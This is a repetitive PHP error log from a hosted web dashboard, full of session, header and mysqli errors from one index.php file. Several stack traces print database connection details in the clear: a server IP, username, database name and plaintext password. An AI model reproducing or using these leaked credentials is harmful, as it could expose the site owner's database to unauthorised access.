#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:18:52 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:18:57 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:19:04 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:20:24 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:20:25 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:21:34 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:21:39 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:21:51 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:22:48 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:23:00 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:23:48 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:24:03 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:24:20 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:25:28 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:25:31 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:25:38 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:25:41 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:26:47 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:27:17 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:27:21 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Connection timed out in /home/luckycha/public_html/Dashboard/Cards/index.php:6
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(6): mysqli_connect('85.208.106.239', 'luckycha_charmu...', 'Emre.1337', 'luckycha_charmd...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
|
||||
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
|
||||
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
|
||||
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
|
||||
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:27:44 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:55
|
||||
Stack trace:
|
||||
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(55): mysqli_query(NULL, 'SELECT * FROM C...')
|
||||
#1 {main}
|
||||
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 55
|
||||
[05-Nov-2023 21:28:11 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
|
||||
